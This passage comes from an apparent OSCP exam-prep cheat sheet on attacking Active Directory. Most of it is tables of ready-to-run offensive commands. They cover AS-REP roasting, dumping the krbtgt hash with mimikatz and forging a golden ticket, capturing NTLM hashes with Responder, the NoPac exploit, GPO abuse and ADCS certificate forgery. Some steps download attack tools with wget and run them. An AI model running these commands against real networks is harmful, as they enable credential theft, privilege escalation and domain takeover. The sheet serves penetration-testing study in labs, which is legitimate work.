| On Windows (Rubeus)                                                                     | wget <a href="https://github.com/r3motecontrol/Ghostpack-CompiledBinaries/raw/master/Rubeus.exe">https://github.com/r3motecontrol/Ghostpack-CompiledBinaries/raw/master/Rubeus.exe</a> .\Rubeus.exe asreproast /outfile:hashes.txt |
| After hash capture                                                                      | Transfer hashes.txt and crack with john, hashcat, or crackstation                                                                                                                                                                  |

## Golden/Silver Ticket & Lateral Movement

| Step                                 | Command / Notes                                                                                                                                                   |
|--------------------------------------|-------------------------------------------------------------------------------------------------------------------------------------------------------------------|
| Install mimikatz on target           | Run <code>.\mimikatz.exe</code> on the target machine (mimikatz is used only on target machine)                                                                   |
| Enable debug privilege               | <code>privilege::debug</code> (should output [privilege "20" ok])                                                                                                 |
| Dump Kerberos TGT hash and SID       | <code>lsadump::lsa /inject /name:krbtgt</code> (or replace krbtgt with Administrator, sqlservice, or other accessible accounts)                                   |
| Generate Golden Ticket               | <code>kerberos::golden /user:krbtgt /domain:controller.local /sid:S-1-5-21-849420856-2351964222-986696166 /krbtgt:5508500012cc005cf7082a9a89ebdfdf /id:502</code> |
| Use Golden Ticket to access machines | 1.) <code>misc::cmd</code> opens new elevated command prompt<br>2.) Use this prompt to access other machines on the network                                       |

## Responder Usage

| Description     | Command / Notes                                                                                  |
|-----------------|--------------------------------------------------------------------------------------------------|
| Use case        | Usually works on LAN/internal network to capture NTLM hashes via LLMNR (fallback DNS resolution) |
| Start Responder | <code>python3 /opt/Responder/Responder.py -I tun0</code>                                         |
| Result          | Captures NTLMv2 hashes or other challenge responses                                              |

## NoPac Exploit (CVE-2021-42287 / CVE-2021-42278)

| Description                                                                              | Command / Notes                                                                                                   |
|------------------------------------------------------------------------------------------|-------------------------------------------------------------------------------------------------------------------|
| Creates a new machine account, abuses SAM impersonation to get DC machine account access | Primary tool: <a href="#">sam-the-admin GitHub</a>                                                                |
| Exploit usage example                                                                    | <code>python3 sam_the_admin.py -dc-ip 10.10.190.87 raz0rblack.thm/twilliams:roastpotatoes</code>                  |
| Note                                                                                     | You may need to sync time<br><code>first:rddate -n 10.10.190.87</code> or<br><code>ntupdate raz0rblack.thm</code> |
| More info                                                                                | <a href="#">Detailed exploit write-up</a>                                                                         |

## GPO Abuse

| Description                      | Command / Notes                                                                                                                                                                                                  |
|----------------------------------|------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|
| Abuse Group Policy Objects (GPO) | Download SharpGPOAbuse tool:wget <a href="https://github.com/byronkg/SharpGPOAbuse/releases/download/1.0/SharpGPOAbuse.exe">https://github.com/byronkg/SharpGPOAbuse/releases/download/1.0/SharpGPOAbuse.exe</a> |
| Example usage                    | SharpGPOAbuse.exe --AddLocalAdmin --UserAccount bob.smith --GPOName "Vulnerable GPO"                                                                                                                             |
| Context                          | User has write access to a GPO linked to the Domain Controller, allowing privilege escalation                                                                                                                    |

## Active Directory Certificate Services (ADCS)

| Task                      | Command / Notes                                                                                                                                                                                        |
|---------------------------|--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|
| Find ADCS vulnerabilities | certipy-ad find -u SUSANNA_MCKNIGHT@local.thm -p 'REDACTED' -dc-ip 10.10.161.74 -vulnerable                                                                                                            |
| Forge certificate         | certipy req \ -u 'attacker@corp.local' -p 'Passw0rd!' \ -dc-ip '10.0.0.100' -target 'CA.CORP.LOCAL' \ -ca 'CORP-CA' -template 'UserTemplate' \ -upn 'Administrator@corp.local' -sid 'S-1-5-21-...-500' |
| Get hash from certificate | certipy auth -pfx 'administrator.pfx' -dc-ip '10.0.0.100'                                                                                                                                              |

## Get Shell Access Post-Exploitation

| Method       | Command / Notes                                                              |
|--------------|------------------------------------------------------------------------------|
| Psexec shell | Use psexec to get shell access on target machines after privilege escalation |

## Active Directory Checklist:

- ✓ Scan all TCP ports.
  - ✓ Check ldap, rpc, smb with anonymous access. Check for public share.
  - ✓ **Find usernames:** If you get access, look for usernames with stuff like netexec --rid-brute, --users, and enumdomuser with rpcclient to get list of users in domain without needed initial credentials. Check usernames with kerbrute.
  - ✓ Test for asreproasting after you have collected usernames. If successful, try cracking.
  - ✓ Check for kerberoasting after you have a username and password.
  - ✓ Try authenticating with every possible protocol with those set of credentials. winrm, rdp, mssql, smb, rpc, ldap etc.
  - ✓ Enumerate shares for every user you get access to. Every new user means you should recheck their shares.
  - ✓ If you get shell as a user, check for privesc, and dump all hashes and collect them in a file for possible bruteforcing and lateral movement.
  - ✓ Run bloodhound and check for basic attacks like DCsync. Also checks for other paths bloodhound may find.
  - ✓ If it's an AD network, check for additional network adapters in case of pivoting being needed. If so, set up a pivot and relay all tools over that "jumpbox" so you can target the other machines in the other network.
  - ✓ Remember to bruteforce different protocols with credentials you have. Remember to use NTLM authentication too.
  - ✓ Check UDP ports.
  - ✓ Rescan if you're stuck, verify tools are working properly and you're running them properly.
-

## Final Notes - OSCP Active Directory

- Enumeration is everything - spend time collecting users, shares, services, and possible attack paths before jumping to exploitation.
- Always test discovered credentials across all relevant protocols - SMB, WinRM, LDAP, RDP, MSSQL, WMI, RPC - to maximize access chances.
- Use both password and hash authentication methods (NTLM) when trying creds.
- Don't rely only on automated tools - verify results manually and look for less obvious attack vectors like ASREP roasting and unconstrained delegation.
- For privesc, combine automated scripts (PowerUp, WinPEAS) with manual checks (services, scheduled tasks, ACLs).
- Document clearly and keep notes organized - the OSCP values good reporting and clear writeups.
- Manage your time well - if stuck, move on and return later with fresh eyes.
- Learn BloodHound basics - it's a powerful way to find attack paths and shortcuts in AD.
- Practice post-exploitation workflows - dumping hashes, tickets, ticket forging (golden/silver tickets), and lateral movement are crucial.
- Understand Kerberos attacks well - Kerberoasting, ASREP roasting, and ticket abuse are common in AD environments.
- Always check for time sync issues - Kerberos attacks require accurate system time, so use tools like rdate or ntpdate.
- Expect lateral movement to require chaining access across users and hosts - patience and persistence matter.
- Focus on gaining domain dominance after initial access - that's usually required for OSCP full points on AD boxes.

Good Luck!

- Hack Academy